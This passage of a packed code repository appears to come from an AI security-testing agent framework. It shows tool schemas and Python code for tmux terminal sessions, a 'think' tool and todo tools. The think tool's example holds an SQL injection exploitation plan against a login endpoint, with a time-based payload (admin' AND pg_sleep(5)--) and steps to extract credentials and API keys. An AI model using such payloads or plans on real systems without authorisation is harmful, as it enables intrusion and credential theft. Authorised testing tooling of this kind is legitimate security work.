terminal_execute(\"5j\", is_input=true, no_enter=true)  # Vim: move down 5 lines\n        - terminal_execute(\"i\", is_input=true, no_enter=true)   # Vim: insert mode</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing:\n      - content: Command output\n      - exit_code: Exit code of the command (only for completed commands)\n      - command: The executed command\n      - terminal_id: The terminal session ID\n      - status: Command status ('completed' or 'running')\n      - working_dir: Current working directory after command execution</description>\n    </returns>\n    <notes>\n  Important usage rules:\n  1. PERSISTENT SESSION: The terminal maintains state between commands. Environment variables,\n     current directory, and running processes persist across multiple tool calls.\n\n  2. COMMAND EXECUTION:\n     - AVOID: Long pipelines, complex bash scripts, or convoluted one-liners\n     - Break complex operations into multiple simple tool calls for clarity and debugging\n     - For multiple commands, prefer separate tool calls over chaining with && or ;\n\n  3. LONG-RUNNING COMMANDS:\n     - Commands never get killed automatically - they keep running in background\n     - Set timeout to control how long to wait for output before returning\n     - For daemons/servers or very long jobs, append '&' to run in background\n     - Use empty command \"\" to check progress (waits for timeout period to collect output)\n     - Use C-c, C-d, C-z to interrupt processes (works automatically, no is_input needed)\n\n  4. TIMEOUT HANDLING:\n     - Timeout controls how long to wait before returning current output (max 60s cap)\n     - Commands are NEVER killed on timeout - they keep running\n     - After timeout, you can run new commands or check progress with empty command\n     - On timeout, status is 'running'; on completion, status is 'completed'\n\n  5. MULTIPLE TERMINALS: Use different terminal_id values to run multiple concurrent sessions.\n\n  6. INTERACTIVE PROCESSES:\n     - Special keys (C-c, C-d, etc.) work automatically when a process is running\n     - Use is_input=true for regular text input to running processes like:\n       * Interactive shells, REPLs, or prompts\n       * Long-running applications waiting for input\n       * Background processes that need interaction\n     - Use no_enter=true for stuff like Vim navigation, password typing, or multi-step commands\n\n  7. WORKING DIRECTORY: The terminal tracks and returns the current working directory.\n     Use absolute paths or cd commands to change directories as needed.\n\n  8. OUTPUT HANDLING: Large outputs are automatically truncated. The tool provides\n     the most relevant parts of the output for analysis.\n    </notes>\n    <examples>\n  # Execute a simple command\n  <function=terminal_execute>\n  <parameter=command>ls -la</parameter>\n  </function>\n\n  <function=terminal_execute>\n  <parameter=command>cd /workspace\npwd\nls -la</parameter>\n  </function>\n\n  # Run a command with custom timeout\n  <function=terminal_execute>\n  <parameter=command>npm install</parameter>\n  <parameter=timeout>60</parameter>\n  </function>\n\n  # Check progress of running command (waits for timeout to collect output)\n  <function=terminal_execute>\n  <parameter=command></parameter>\n  <parameter=timeout>5</parameter>\n  </function>\n\n  # Start a background service\n  <function=terminal_execute>\n  <parameter=command>python app.py > server.log 2>&1 &</parameter>\n  </function>\n\n  # Interact with a running process\n  <function=terminal_execute>\n  <parameter=command>y</parameter>\n  <parameter=is_input>true</parameter>\n  </function>\n\n  # Interrupt a running process (special keys work automatically)\n  <function=terminal_execute>\n  <parameter=command>C-c</parameter>\n  </function>\n\n  # Send Escape key (use official tmux name)\n  <function=terminal_execute>\n  <parameter=command>Escape</parameter>\n  <parameter=is_input>true</parameter>\n  </function>\n\n  # Use a different terminal session\n  <function=terminal_execute>\n  <parameter=command>python3</parameter>\n  <parameter=terminal_id>python_session</parameter>\n  </function>\n\n  # Send input to Python REPL in specific session\n  <function=terminal_execute>\n  <parameter=command>print(\"Hello World\")</parameter>\n  <parameter=is_input>true</parameter>\n  <parameter=terminal_id>python_session</parameter>\n  </function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/terminal/terminal_manager.py",
    "content": "import atexit\nimport contextlib\nimport threading\nfrom typing import Any\n\nfrom strix.tools.context import get_current_agent_id\n\nfrom .terminal_session import TerminalSession\n\n\nclass TerminalManager:\n    def __init__(self) -> None:\n        self._sessions_by_agent: dict[str, dict[str, TerminalSession]] = {}\n        self._lock = threading.Lock()\n        self.default_terminal_id = \"default\"\n        self.default_timeout = 30.0\n\n        self._register_cleanup_handlers()\n\n    def _get_agent_sessions(self) -> dict[str, TerminalSession]:\n        agent_id = get_current_agent_id()\n        with self._lock:\n            if agent_id not in self._sessions_by_agent:\n                self._sessions_by_agent[agent_id] = {}\n            return self._sessions_by_agent[agent_id]\n\n    def execute_command(\n        self,\n        command: str,\n        is_input: bool = False,\n        timeout: float | None = None,\n        terminal_id: str | None = None,\n        no_enter: bool = False,\n    ) -> dict[str, Any]:\n        if terminal_id is None:\n            terminal_id = self.default_terminal_id\n\n        session = self._get_or_create_session(terminal_id)\n\n        try:\n            result = session.execute(command, is_input, timeout or self.default_timeout, no_enter)\n\n            return {\n                \"content\": result[\"content\"],\n                \"command\": command,\n                \"terminal_id\": terminal_id,\n                \"status\": result[\"status\"],\n                \"exit_code\": result.get(\"exit_code\"),\n                \"working_dir\": result.get(\"working_dir\"),\n            }\n\n        except RuntimeError as e:\n            return {\n                \"error\": str(e),\n                \"command\": command,\n                \"terminal_id\": terminal_id,\n                \"content\": \"\",\n                \"status\": \"error\",\n                \"exit_code\": None,\n                \"working_dir\": None,\n            }\n        except OSError as e:\n            return {\n                \"error\": f\"System error: {e}\",\n                \"command\": command,\n                \"terminal_id\": terminal_id,\n                \"content\": \"\",\n                \"status\": \"error\",\n                \"exit_code\": None,\n                \"working_dir\": None,\n            }\n\n    def _get_or_create_session(self, terminal_id: str) -> TerminalSession:\n        sessions = self._get_agent_sessions()\n        with self._lock:\n            if terminal_id not in sessions:\n                sessions[terminal_id] = TerminalSession(terminal_id)\n            return sessions[terminal_id]\n\n    def close_session(self, terminal_id: str | None = None) -> dict[str, Any]:\n        if terminal_id is None:\n            terminal_id = self.default_terminal_id\n\n        sessions = self._get_agent_sessions()\n        with self._lock:\n            if terminal_id not in sessions:\n                return {\n                    \"terminal_id\": terminal_id,\n                    \"message\": f\"Terminal '{terminal_id}' not found\",\n                    \"status\": \"not_found\",\n                }\n\n            session = sessions.pop(terminal_id)\n\n        try:\n            session.close()\n        except (RuntimeError, OSError) as e:\n            return {\n                \"terminal_id\": terminal_id,\n                \"error\": f\"Failed to close terminal '{terminal_id}': {e}\",\n                \"status\": \"error\",\n            }\n        else:\n            return {\n                \"terminal_id\": terminal_id,\n                \"message\": f\"Terminal '{terminal_id}' closed successfully\",\n                \"status\": \"closed\",\n            }\n\n    def list_sessions(self) -> dict[str, Any]:\n        sessions = self._get_agent_sessions()\n        with self._lock:\n            session_info: dict[str, dict[str, Any]] = {}\n            for tid, session in sessions.items():\n                session_info[tid] = {\n                    \"is_running\": session.is_running(),\n                    \"working_dir\": session.get_working_dir(),\n                }\n\n        return {\"sessions\": session_info, \"total_count\": len(session_info)}\n\n    def cleanup_agent(self, agent_id: str) -> None:\n        with self._lock:\n            sessions = self._sessions_by_agent.pop(agent_id, {})\n\n        for session in sessions.values():\n            with contextlib.suppress(Exception):\n                session.close()\n\n    def cleanup_dead_sessions(self) -> None:\n        with self._lock:\n            for sessions in self._sessions_by_agent.values():\n                dead_sessions: list[str] = []\n                for tid, session in sessions.items():\n                    if not session.is_running():\n                        dead_sessions.append(tid)\n\n                for tid in dead_sessions:\n                    session = sessions.pop(tid)\n                    with contextlib.suppress(Exception):\n                        session.close()\n\n    def close_all_sessions(self) -> None:\n        with self._lock:\n            all_sessions: list[TerminalSession] = []\n            for sessions in self._sessions_by_agent.values():\n                all_sessions.extend(sessions.values())\n            self._sessions_by_agent.clear()\n\n        for session in all_sessions:\n            with contextlib.suppress(Exception):\n                session.close()\n\n    def _register_cleanup_handlers(self) -> None:\n        atexit.register(self.close_all_sessions)\n\n\n_terminal_manager = TerminalManager()\n\n\ndef get_terminal_manager() -> TerminalManager:\n    return _terminal_manager\n"
  },
  {
    "path": "strix/tools/terminal/terminal_session.py",
    "content": "import logging\nimport re\nimport time\nimport uuid\nfrom enum import Enum\nfrom pathlib import Path\nfrom typing import Any\n\nimport libtmux\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass BashCommandStatus(Enum):\n    CONTINUE = \"continue\"\n    COMPLETED = \"completed\"\n    NO_CHANGE_TIMEOUT = \"no_change_timeout\"\n    HARD_TIMEOUT = \"hard_timeout\"\n\n\ndef _remove_command_prefix(command_output: str, command: str) -> str:\n    return command_output.lstrip().removeprefix(command.lstrip()).lstrip()\n\n\nclass TerminalSession:\n    POLL_INTERVAL = 0.5\n    HISTORY_LIMIT = 10_000\n    PS1_END = \"]$ \"\n\n    def __init__(self, session_id: str, work_dir: str = \"/workspace\") -> None:\n        self.session_id = session_id\n        self.work_dir = str(Path(work_dir).resolve())\n        self._closed = False\n        self._cwd = self.work_dir\n\n        self.server: libtmux.Server | None = None\n        self.session: libtmux.Session | None = None\n        self.window: libtmux.Window | None = None\n        self.pane: libtmux.Pane | None = None\n\n        self.prev_status: BashCommandStatus | None = None\n        self.prev_output: str = \"\"\n        self._initialized = False\n\n        self.initialize()\n\n    @property\n    def PS1(self) -> str:  # noqa: N802\n        return r\"[STRIX_$?]$ \"\n\n    @property\n    def PS1_PATTERN(self) -> str:  # noqa: N802\n        return r\"\\[STRIX_(\\d+)\\]\"\n\n    def initialize(self) -> None:\n        self.server = libtmux.Server()\n\n        session_name = f\"strix-{self.session_id}-{uuid.uuid4()}\"\n        self.session = self.server.new_session(\n            session_name=session_name,\n            start_directory=self.work_dir,\n            kill_session=True,\n            x=120,\n            y=30,\n        )\n\n        self.session.set_option(\"history-limit\", str(self.HISTORY_LIMIT))\n        self.session.history_limit = self.HISTORY_LIMIT\n\n        _initial_window = self.session.active_window\n        self.window = self.session.new_window(\n            window_name=\"bash\",\n            window_shell=\"/bin/bash\",\n            start_directory=self.work_dir,\n        )\n        self.pane = self.window.active_pane\n        _initial_window.kill()\n\n        self.pane.send_keys(f'export PROMPT_COMMAND=\\'export PS1=\"{self.PS1}\"\\'; export PS2=\"\"')\n        time.sleep(0.1)\n        self._clear_screen()\n\n        self.prev_status = None\n        self.prev_output = \"\"\n        self._closed = False\n\n        self._cwd = str(Path(self.work_dir).resolve())\n        self._initialized = True\n\n        assert self.server is not None\n        assert self.session is not None\n        assert self.window is not None\n        assert self.pane is not None\n\n    def _get_pane_content(self) -> str:\n        if not self.pane:\n            raise RuntimeError(\"Terminal session not properly initialized\")\n        return \"\\n\".join(\n            line.rstrip() for line in self.pane.cmd(\"capture-pane\", \"-J\", \"-pS\", \"-\").stdout\n        )\n\n    def _clear_screen(self) -> None:\n        if not self.pane:\n            raise RuntimeError(\"Terminal session not properly initialized\")\n        self.pane.send_keys(\"C-l\", enter=False)\n        time.sleep(0.1)\n        self.pane.cmd(\"clear-history\")\n\n    def _is_control_key(self, command: str) -> bool:\n        return (\n            (command.startswith(\"C-\") and len(command) >= 3)\n            or (command.startswith(\"^\") and len(command) >= 2)\n            or (command.startswith(\"S-\") and len(command) >= 3)\n            or (command.startswith(\"M-\") and len(command) >= 3)\n        )\n\n    def _is_function_key(self, command: str) -> bool:\n        if not command.startswith(\"F\") or len(command) > 3:\n            return False\n        try:\n            num_part = command[1:]\n            return num_part.isdigit() and 1 <= int(num_part) <= 12\n        except (ValueError, IndexError):\n            return False\n\n    def _is_navigation_or_special_key(self, command: str) -> bool:\n        navigation_keys = {\"Up\", \"Down\", \"Left\", \"Right\", \"Home\", \"End\"}\n        special_keys = {\"BSpace\", \"BTab\", \"DC\", \"Enter\", \"Escape\", \"IC\", \"Space\", \"Tab\"}\n        page_keys = {\"NPage\", \"PageDown\", \"PgDn\", \"PPage\", \"PageUp\", \"PgUp\"}\n\n        return command in navigation_keys or command in special_keys or command in page_keys\n\n    def _is_complex_modifier_key(self, command: str) -> bool:\n        return \"-\" in command and any(\n            command.startswith(prefix)\n            for prefix in [\"C-S-\", \"C-M-\", \"S-M-\", \"M-S-\", \"M-C-\", \"S-C-\"]\n        )\n\n    def _is_special_key(self, command: str) -> bool:\n        _command = command.strip()\n\n        if not _command:\n            return False\n\n        return (\n            self._is_control_key(_command)\n            or self._is_function_key(_command)\n            or self._is_navigation_or_special_key(_command)\n            or self._is_complex_modifier_key(_command)\n        )\n\n    def _matches_ps1_metadata(self, content: str) -> list[re.Match[str]]:\n        return list(re.finditer(self.PS1_PATTERN + r\"\\]\\$ \", content))\n\n    def _get_command_output(\n        self,\n        command: str,\n        raw_command_output: str,\n        continue_prefix: str = \"\",\n    ) -> str:\n        if self.prev_output:\n            command_output = raw_command_output.removeprefix(self.prev_output)\n            if continue_prefix:\n                command_output = continue_prefix + command_output\n        else:\n            command_output = raw_command_output\n        self.prev_output = raw_command_output\n        command_output = _remove_command_prefix(command_output, command)\n        return command_output.rstrip()\n\n    def _combine_outputs_between_matches(\n        self,\n        pane_content: str,\n        ps1_matches: list[re.Match[str]],\n        get_content_before_last_match: bool = False,\n    ) -> str:\n        if len(ps1_matches) == 1:\n            if get_content_before_last_match:\n                return pane_content[: ps1_matches[0].start()]\n            return pane_content[ps1_matches[0].end() + 1 :]\n        if len(ps1_matches) == 0:\n            return pane_content\n\n        combined_output = \"\"\n        for i in range(len(ps1_matches) - 1):\n            output_segment = pane_content[ps1_matches[i].end() + 1 : ps1_matches[i + 1].start()]\n            combined_output += output_segment + \"\\n\"\n        combined_output += pane_content[ps1_matches[-1].end() + 1 :]\n        return combined_output\n\n    def _extract_exit_code_from_matches(self, ps1_matches: list[re.Match[str]]) -> int | None:\n        if not ps1_matches:\n            return None\n\n        last_match = ps1_matches[-1]\n        try:\n            return int(last_match.group(1))\n        except (ValueError, IndexError):\n            return None\n\n    def _handle_empty_command(\n        self,\n        cur_pane_output: str,\n        ps1_matches: list[re.Match[str]],\n        is_command_running: bool,\n        timeout: float,\n    ) -> dict[str, Any]:\n        if not is_command_running:\n            raw_command_output = self._combine_outputs_between_matches(cur_pane_output, ps1_matches)\n            command_output = self._get_command_output(\"\", raw_command_output)\n            return {\n                \"content\": command_output,\n                \"status\": \"completed\",\n                \"exit_code\": 0,\n                \"working_dir\": self._cwd,\n            }\n\n        start_time = time.time()\n        last_pane_output = cur_pane_output\n\n        while True:\n            cur_pane_output = self._get_pane_content()\n            ps1_matches = self._matches_ps1_metadata(cur_pane_output)\n\n            if cur_pane_output.rstrip().endswith(self.PS1_END.rstrip()) or len(ps1_matches) > 0:\n                exit_code = self._extract_exit_code_from_matches(ps1_matches)\n                raw_command_output = self._combine_outputs_between_matches(\n                    cur_pane_output, ps1_matches\n                )\n                command_output = self._get_command_output(\"\", raw_command_output)\n                self.prev_status = BashCommandStatus.COMPLETED\n                self.prev_output = \"\"\n                self._ready_for_next_command()\n                return {\n                    \"content\": command_output,\n                    \"status\": \"completed\",\n                    \"exit_code\": exit_code or 0,\n                    \"working_dir\": self._cwd,\n                }\n\n            elapsed_time = time.time() - start_time\n            if elapsed_time >= timeout:\n                raw_command_output = self._combine_outputs_between_matches(\n                    cur_pane_output, ps1_matches\n                )\n                command_output = self._get_command_output(\"\", raw_command_output)\n                return {\n                    \"content\": command_output\n                    + f\"\\n[Command still running after {timeout}s - showing output so far]\",\n                    \"status\": \"running\",\n                    \"exit_code\": None,\n                    \"working_dir\": self._cwd,\n                }\n\n            if cur_pane_output != last_pane_output:\n                last_pane_output = cur_pane_output\n\n            time.sleep(self.POLL_INTERVAL)\n\n    def _handle_input_command(\n        self, command: str, no_enter: bool, is_command_running: bool\n    ) -> dict[str, Any]:\n        if not is_command_running:\n            return {\n                \"content\": \"No command is currently running. Cannot send input.\",\n                \"status\": \"error\",\n                \"exit_code\": None,\n                \"working_dir\": self._cwd,\n            }\n\n        if not self.pane:\n            raise RuntimeError(\"Terminal session not properly initialized\")\n\n        is_special_key = self._is_special_key(command)\n        should_add_enter = not is_special_key and not no_enter\n        self.pane.send_keys(command, enter=should_add_enter)\n\n        time.sleep(2)\n        cur_pane_output = self._get_pane_content()\n        ps1_matches = self._matches_ps1_metadata(cur_pane_output)\n        raw_command_output = self._combine_outputs_between_matches(cur_pane_output, ps1_matches)\n        command_output = self._get_command_output(command, raw_command_output)\n\n        is_still_running = not (\n            cur_pane_output.rstrip().endswith(self.PS1_END.rstrip()) or len(ps1_matches) > 0\n        )\n\n        if is_still_running:\n            return {\n                \"content\": command_output,\n                \"status\": \"running\",\n                \"exit_code\": None,\n                \"working_dir\": self._cwd,\n            }\n\n        exit_code = self._extract_exit_code_from_matches(ps1_matches)\n        self.prev_status = BashCommandStatus.COMPLETED\n        self.prev_output = \"\"\n        self._ready_for_next_command()\n        return {\n            \"content\": command_output,\n            \"status\": \"completed\",\n            \"exit_code\": exit_code or 0,\n            \"working_dir\": self._cwd,\n        }\n\n    def _execute_new_command(self, command: str, no_enter: bool, timeout: float) -> dict[str, Any]:\n        if not self.pane:\n            raise RuntimeError(\"Terminal session not properly initialized\")\n\n        initial_pane_output = self._get_pane_content()\n        initial_ps1_matches = self._matches_ps1_metadata(initial_pane_output)\n        initial_ps1_count = len(initial_ps1_matches)\n\n        start_time = time.time()\n        last_pane_output = initial_pane_output\n\n        is_special_key = self._is_special_key(command)\n        should_add_enter = not is_special_key and not no_enter\n        self.pane.send_keys(command, enter=should_add_enter)\n\n        while True:\n            cur_pane_output = self._get_pane_content()\n            ps1_matches = self._matches_ps1_metadata(cur_pane_output)\n            current_ps1_count = len(ps1_matches)\n\n            if cur_pane_output != last_pane_output:\n                last_pane_output = cur_pane_output\n\n            if current_ps1_count > initial_ps1_count or cur_pane_output.rstrip().endswith(\n                self.PS1_END.rstrip()\n            ):\n                exit_code = self._extract_exit_code_from_matches(ps1_matches)\n\n                get_content_before_last_match = bool(len(ps1_matches) == 1)\n                raw_command_output = self._combine_outputs_between_matches(\n                    cur_pane_output,\n                    ps1_matches,\n                    get_content_before_last_match=get_content_before_last_match,\n                )\n\n                command_output = self._get_command_output(command, raw_command_output)\n                self.prev_status = BashCommandStatus.COMPLETED\n                self.prev_output = \"\"\n                self._ready_for_next_command()\n\n                return {\n                    \"content\": command_output,\n                    \"status\": \"completed\",\n                    \"exit_code\": exit_code or 0,\n                    \"working_dir\": self._cwd,\n                }\n\n            elapsed_time = time.time() - start_time\n            if elapsed_time >= timeout:\n                raw_command_output = self._combine_outputs_between_matches(\n                    cur_pane_output, ps1_matches\n                )\n                command_output = self._get_command_output(\n                    command,\n                    raw_command_output,\n                    continue_prefix=\"[Below is the output of the previous command.]\\n\",\n                )\n                self.prev_status = BashCommandStatus.CONTINUE\n\n                timeout_msg = (\n                    f\"\\n[Command still running after {timeout}s - showing output so far. \"\n                    \"Use C-c to interrupt if needed.]\"\n                )\n                return {\n                    \"content\": command_output + timeout_msg,\n                    \"status\": \"running\",\n                    \"exit_code\": None,\n                    \"working_dir\": self._cwd,\n                }\n\n            time.sleep(self.POLL_INTERVAL)\n\n    def execute(\n        self, command: str, is_input: bool = False, timeout: float = 10.0, no_enter: bool = False\n    ) -> dict[str, Any]:\n        if not self._initialized:\n            raise RuntimeError(\"Bash session is not initialized\")\n\n        cur_pane_output = self._get_pane_content()\n        ps1_matches = self._matches_ps1_metadata(cur_pane_output)\n        is_command_running = not (\n            cur_pane_output.rstrip().endswith(self.PS1_END.rstrip()) or len(ps1_matches) > 0\n        )\n\n        if command.strip() == \"\":\n            return self._handle_empty_command(\n                cur_pane_output, ps1_matches, is_command_running, timeout\n            )\n\n        is_special_key = self._is_special_key(command)\n\n        if is_input:\n            return self._handle_input_command(command, no_enter, is_command_running)\n\n        if is_special_key and is_command_running:\n            return self._handle_input_command(command, no_enter, is_command_running)\n\n        if is_command_running:\n            return {\n                \"content\": (\n                    \"A command is already running. Use is_input=true to send input to it, \"\n                    \"or interrupt it first (e.g., with C-c).\"\n                ),\n                \"status\": \"error\",\n                \"exit_code\": None,\n                \"working_dir\": self._cwd,\n            }\n\n        return self._execute_new_command(command, no_enter, timeout)\n\n    def _ready_for_next_command(self) -> None:\n        self._clear_screen()\n\n    def is_running(self) -> bool:\n        if self._closed or not self.session:\n            return False\n        try:\n            return self.session.id in [s.id for s in self.server.sessions] if self.server else False\n        except (AttributeError, OSError) as e:\n            logger.debug(\"Error checking if session is running: %s\", e)\n            return False\n\n    def get_working_dir(self) -> str:\n        return self._cwd\n\n    def close(self) -> None:\n        if self._closed:\n            return\n\n        if self.session:\n            try:\n                self.session.kill()\n            except (AttributeError, OSError) as e:\n                logger.debug(\"Error closing terminal session: %s\", e)\n\n        self._closed = True\n        self.server = None\n        self.session = None\n        self.window = None\n        self.pane = None\n"
  },
  {
    "path": "strix/tools/thinking/__init__.py",
    "content": "from .thinking_actions import think\n\n\n__all__ = [\"think\"]\n"
  },
  {
    "path": "strix/tools/thinking/thinking_actions.py",
    "content": "from typing import Any\n\nfrom strix.tools.registry import register_tool\n\n\n@register_tool(sandbox_execution=False)\ndef think(thought: str) -> dict[str, Any]:\n    try:\n        if not thought or not thought.strip():\n            return {\"success\": False, \"message\": \"Thought cannot be empty\"}\n\n        return {\n            \"success\": True,\n            \"message\": f\"Thought recorded successfully with {len(thought.strip())} characters\",\n        }\n\n    except (ValueError, TypeError) as e:\n        return {\"success\": False, \"message\": f\"Failed to record thought: {e!s}\"}\n"
  },
  {
    "path": "strix/tools/thinking/thinking_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"think\">\n    <description>Use the tool to think about something. It will not obtain new information or change the\n  database. Use it when complex reasoning or some cache memory is needed.</description>\n    <details>This tool creates dedicated space for structured thinking during complex tasks,\n  particularly useful for:\n  - Tool output analysis: When you need to carefully process the output of previous tool calls\n  - Policy-heavy environments: When you need to follow detailed guidelines and verify compliance\n  - Sequential decision making: When each action builds on previous ones and mistakes are costly\n  - Multi-step problem solving: When you need to break down complex problems into manageable steps</details>\n    <parameters>\n      <parameter name=\"thought\" type=\"string\" required=\"true\">\n        <description>The thought or reasoning to record</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - success: Whether the thought was recorded successfully - message: Confirmation message with character count or error details</description>\n    </returns>\n    <examples>\n  # Planning and strategy\n  <function=think>\n  <parameter=thought>Analysis of the login endpoint SQL injection:\n\nCurrent State:\n- Confirmed SQL injection in POST /api/v1/auth/login\n- Backend database is PostgreSQL 14.2\n- Application user has full CRUD privileges\n\nExploitation Strategy:\n1. First, enumerate database structure using UNION-based injection\n2. Extract user table schema and credentials\n3. Check for password hashing (MD5? bcrypt?)\n4. Look for admin accounts and API keys\n\nRisk Assessment:\n- CVSS Base Score: 9.8 (Critical)\n- Attack Vector: Network (remotely exploitable)\n- Privileges Required: None\n- Impact: Full database compromise\n\nEvidence Collected:\n- Error-based injection confirms PostgreSQL\n- Time-based payload: admin' AND pg_sleep(5)-- caused 5s delay\n- UNION injection reveals 8 columns in users table\n\nNext Actions:\n1. Write PoC exploit script in Python\n2. Extract password hashes for analysis\n3. Create vulnerability report with full details\n4. Test if same vulnerability exists in other endpoints</parameter>\n  </function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/todo/__init__.py",
    "content": "from .todo_actions import (\n    create_todo,\n    delete_todo,\n    list_todos,\n    mark_todo_done,\n    mark_todo_pending,\n    update_todo,\n)\n\n\n__all__ = [\n    \"create_todo\",\n    \"delete_todo\",\n    \"list_todos\",\n    \"mark_todo_done\",\n    \"mark_todo_pending\",\n    \"update_todo\",\n]\n"
  },
  {
    "path": "strix/tools/todo/todo_actions.py",
    "content": "import json\nimport uuid\nfrom datetime import UTC, datetime\nfrom typing import Any\n\nfrom strix.tools.registry import register_tool\n\n\nVALID_PRIORITIES = [\"low\", \"normal\", \"high\", \"critical\"]\nVALID_STATUSES = [\"pending\", \"in_progress\", \"done\"]\n\n_todos_storage: dict[str, dict[str, dict[str, Any]]] = {}\n\n\ndef _get_agent_todos(agent_id: str) -> dict[str, dict[str, Any]]:\n    if agent_id not in _todos_storage:\n        _todos_storage[agent_id] = {}\n    return _todos_storage[agent_id]\n\n\ndef _normalize_priority(priority: str | None, default: str = \"normal\") -> str:\n    candidate = (priority or default or \"normal\").lower()\n    if candidate not in VALID_PRIORITIES:\n        raise ValueError(f\"Invalid priority. Must be one of: {', '.join(VALID_PRIORITIES)}\")\n    return candidate\n\n\ndef _sorted_todos(agent_id: str) -> list[dict[str, Any]]:\n    agent_todos = _get_agent_todos(agent_id)\n\n    todos_list: list[dict[str, Any]] = []\n    for todo_id, todo in agent_todos.items():\n        entry = todo.copy()\n        entry[\"todo_id\"] = todo_id\n        todos_list.append(entry)\n\n    priority_order = {\"critical\": 0, \"high\": 1, \"normal\": 2, \"low\": 3}\n    status_order = {\"done\": 0, \"in_progress\": 1, \"pending\": 2}\n\n    todos_list.sort(\n        key=lambda x: (\n            status_order.get(x.get(\"status\", \"pending\"), 99),\n            priority_order.get(x.get(\"priority\", \"normal\"), 99),\n            x.get(\"created_at\", \"\"),\n        )\n    )\n    return todos_list\n\n\ndef _normalize_todo_ids(raw_ids: Any) -> list[str]:\n    if raw_ids is None:\n        return []\n\n    if isinstance(raw_ids, str):\n        stripped = raw_ids.strip()\n        if not stripped:\n            return []\n        try:\n            data = json.loads(stripped)\n        except json.JSONDecodeError:\n            data = stripped.split(\",\") if \",\" in stripped else [stripped]\n        if isinstance(data, list):\n            return [str(item).strip() for item in data if str(item).strip()]\n        return [str(data).strip()]\n\n    if isinstance(raw_ids, list):\n        return [str(item).strip() for item in raw_ids if str(item).strip()]\n\n    return [str(raw_ids).strip()]\n\n\ndef _normalize_bulk_updates(raw_updates: Any) -> list[dict[str, Any]]:\n    if raw_updates is None:\n        return []\n\n    data = raw_updates\n    if isinstance(raw_updates, str):\n        stripped = raw_updates.strip()\n        if not stripped:\n            return []\n        try:\n            data = json.loads(stripped)\n        except json.JSONDecodeError as e:\n            raise ValueError(\"Updates must be valid JSON\") from e\n\n    if isinstance(data, dict):\n        data = [data]\n\n    if not isinstance(data, list):\n        raise TypeError(\"Updates must be a list of update objects\")\n\n    normalized: list[dict[str, Any]] = []\n    for item in data:\n        if not isinstance(item, dict):\n            raise TypeError(\"Each update must be an object with todo_id\")\n\n        todo_id = item.get(\"todo_id\") or item.get(\"id\")\n        if not todo_id:\n            raise ValueError(\"Each update must include 'todo_id'\")\n\n        normalized.append(\n            {\n                \"todo_id\": str(todo_id).strip(),\n                \"title\": item.get(\"title\"),\n                \"description\": item.get(\"description\"),\n                \"priority\": item.get(\"priority\"),\n                \"status\": item.get(\"status\"),\n            }\n        )\n\n    return normalized\n\n\ndef _normalize_bulk_todos(raw_todos: Any) -> list[dict[str, Any]]:\n    if raw_todos is None:\n        return []\n\n    data = raw_todos\n    if isinstance(raw_todos, str):\n        stripped = raw_todos.strip()\n        if not stripped:\n            return []\n        try:\n            data = json.loads(stripped)\n        except json.JSONDecodeError:\n            entries = [line.strip(\" -*\\t\") for line in stripped.splitlines() if line.strip(\" -*\\t\")]\n            return [{\"title\": entry} for entry in entries]\n\n    if isinstance(data, dict):\n        data = [data]\n\n    if not isinstance(data, list):\n        raise TypeError(\"Todos must be provided as a list, dict, or JSON string\")\n\n    normalized: list[dict[str, Any]] = []\n    for item in data:\n        if isinstance(item, str):\n            title = item.strip()\n            if title:\n                normalized.append({\"title\": title})\n            continue\n\n        if not isinstance(item, dict):\n            raise TypeError(\"Each todo entry must be a string or object with a title\")\n\n        title = item.get(\"title\", \"\")\n        if not isinstance(title, str) or not title.strip():\n            raise ValueError(\"Each todo entry must include a non-empty 'title'\")\n\n        normalized.append(\n            {\n                \"title\": title.strip(),\n                \"description\": (item.get(\"description\") or \"\").strip() or None,\n                \"priority\": item.get(\"priority\"),\n            }\n        )\n\n    return normalized\n\n\n@register_tool(sandbox_execution=False)\ndef create_todo(\n    agent_state: Any,\n    title: str | None = None,\n    description: str | None = None,\n    priority: str = \"normal\",\n    todos: Any | None = None,\n) -> dict[str, Any]:\n    try:\n        agent_id = agent_state.agent_id\n        default_priority = _normalize_priority(priority)\n\n        tasks_to_create: list[dict[str, Any]] = []\n\n        if todos is not None:\n            tasks_to_create.extend(_normalize_bulk_todos(todos))\n\n        if title and title.strip():\n            tasks_to_create.append(\n                {\n                    \"title\": title.strip(),\n                    \"description\": description.strip() if description else None,\n                    \"priority\": default_priority,\n                }\n            )\n\n        if not tasks_to_create:\n            return {\n                \"success\": False,\n                \"error\": \"Provide a title or 'todos' list to create.\",\n                \"todo_id\": None,\n            }\n\n        agent_todos = _get_agent_todos(agent_id)\n        created: list[dict[str, Any]] = []\n\n        for task in tasks_to_create:\n            task_priority = _normalize_priority(task.get(\"priority\"), default_priority)\n            todo_id = str(uuid.uuid4())[:6]\n            timestamp = datetime.now(UTC).isoformat()\n\n            todo = {\n                \"title\": task[\"title\"],\n                \"description\": task.get(\"description\"),\n                \"priority\": task_priority,\n                \"status\": \"pending\",\n                \"created_at\": timestamp,\n                \"updated_at\": timestamp,\n                \"completed_at\": None,\n            }\n\n            agent_todos[todo_id] = todo\n            created.append(\n                {\n                    \"todo_id\": todo_id,\n                    \"title\": task[\"title\"],\n                    \"priority\": task_priority,\n                }\n            )\n\n    except (ValueError, TypeError) as e:\n        return {\"success\": False, \"error\": f\"Failed to create todo: {e}\", \"todo_id\": None}\n    else:\n        todos_list = _sorted_todos(agent_id)\n\n        response: dict[str, Any] = {\n            \"success\": True,\n            \"created\": created,\n            \"count\": len(created),\n            \"todos\": todos_list,\n            \"total_count\": len(todos_list),\n        }\n        return response\n\n\n@register_tool(sandbox_execution=False)\ndef list_todos(\n    agent_state: Any,\n    status: str | None = None,\n    priority: str | None = None,\n) -> dict[str, Any]:\n    try:\n        agent_id = agent_state.agent_id\n        agent_todos = _get_agent_todos(agent_id)\n\n        status_filter = status.lower() if isinstance(status, str) else None\n        priority_filter = priority.lower() if isinstance(priority, str) else None\n\n        todos_list = []\n        for todo_id, todo in agent_todos.items():\n            if status_filter and todo.get(\"status\") != status_filter:\n                continue\n\n            if priority_filter and todo.get(\"priority\") != priority_filter:\n                continue\n\n            todo_with_id = 